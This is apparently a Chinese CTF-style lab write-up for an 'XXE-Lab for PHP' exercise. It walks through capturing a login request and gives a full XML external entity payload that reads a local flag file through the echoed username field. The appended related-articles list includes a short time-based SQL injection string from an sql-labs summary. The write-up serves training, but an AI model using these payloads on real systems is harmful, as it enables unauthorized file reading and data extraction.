XXE-Lab for PHP

server/2024/12/19 7:12:13/

进入环境

出现一个登录页面,输入任意 UserName 和 Psaaword ,使用bp抓取登录数据包

发送到重放器,点击“发送”

只修改 username 的值,查看右边的变化

只修改 password 的值,查看右边的变化

修改 username 和 password 的值,查看右边的变化

发现 username 位置为回显位,我们可以构造xxe攻击,具体操作如下

<?xml version="1.0"?>
<!DOCTYPE user [ 
<!ENTITY xxe SYSTEM "file:///c:/flag/flag" > ]><user><username>&xxe;</username><password>1</password>
</user>


http://www.ppmy.cn/server/151388.html

相关文章

java二分查找算法详解

二分查找遵循分治策略&#xff0c;在升序排列的有序数组中查找元素。核心是反复减半搜索区间&#xff0c;先确定中间元素并与目标元素比较&#xff0c;若相等则查找成功返回其索引&#xff1b;若中间元素大于目标元素&#xff0c;就把搜索区间缩小到左半部分&#xff08;更新右…

scp命令

scp&#xff08;Secure Copy Protocol&#xff09;是一种用于在不同主机之间安全传输文件的命令。使用 scp 命令&#xff0c;你可以将文件从本地计算机复制到远程计算机&#xff0c;或者从远程计算机复制到本地计算机。 以下是 scp 命令的基本语法和一些示例&#xff1a; 基本…

压力测试Jmeter简介

前提条件&#xff1a;要安装JDK 若不需要了解&#xff0c;请直接定位到左侧目录的安装环节。 1.引言 在现代软件开发中&#xff0c;性能和稳定性是衡量系统质量的重要指标。为了确保应用程序在高负载情况下仍能正常运行&#xff0c;压力测试变得尤为重要。Apache JMeter 是一…

Django中注册模型到Admin界面

Django 是一个高级的 Python Web 框架,它鼓励快速开发和干净、务实的设计。Django 自带了一个强大的管理后台(Admin),可以让开发者轻松地管理数据库中的数据。在这篇博文中,我们将详细介绍如何在 Django Admin 中注册一个模型,并定制其显示和管理方式。 前提条件 在开始…

Windows server 服务器网络安全管理之防火墙出站规则设置

Windows server 服务器网络安全管理之防火墙出站规则设置 创建一条出站规则 这条出站规则针对IE浏览器设置&#xff0c;指定路径 TCP协议和指定端口&#xff08;多个端口的写法要注意&#xff09; 所有IP&#xff0c;所有应用&#xff0c;都采用阻止 给这条规则进行命名…

sql-labs(16-20)

第十六关 这一关与15关的注入方式一样&#xff0c;都是使用盲注可以实现&#xff0c;只是闭合方式不同&#xff0c;这里需要使用")来闭合&#xff0c;就里就不再演示 第一步进行时间盲注 ") and sleep(3)# 第二步开始判断数据库的长度 第三步爆出表名 第四步爆出字…

音视频入门基础:MPEG2-TS专题(18)——PES流简介

一、PES流 《T-REC-H.222.0-202106-S!!PDF-E.pdf》第32页对PES进行了定义。音视频及数字信号经过MPEG-2编码器进行数据压缩&#xff0c;形成基本码流&#xff08;ES流&#xff09;&#xff0c;ES流再打包形成带有包头的码流&#xff0c;就是PES&#xff08;Packetized Element…

Redis在库存里的应用

(1)社区电商系统库存模块的设计要求 由于该库存模块可以支持高性能的并发读写,因此需要支持对商品库存进行多分片写入和读取处理(分片一般等于节点),需要提供单个分片库存不足以扣减时的合并库存功能,以及需要提供操作商品入库时的库存渐进性写入缓存的实现。 也就是对于热…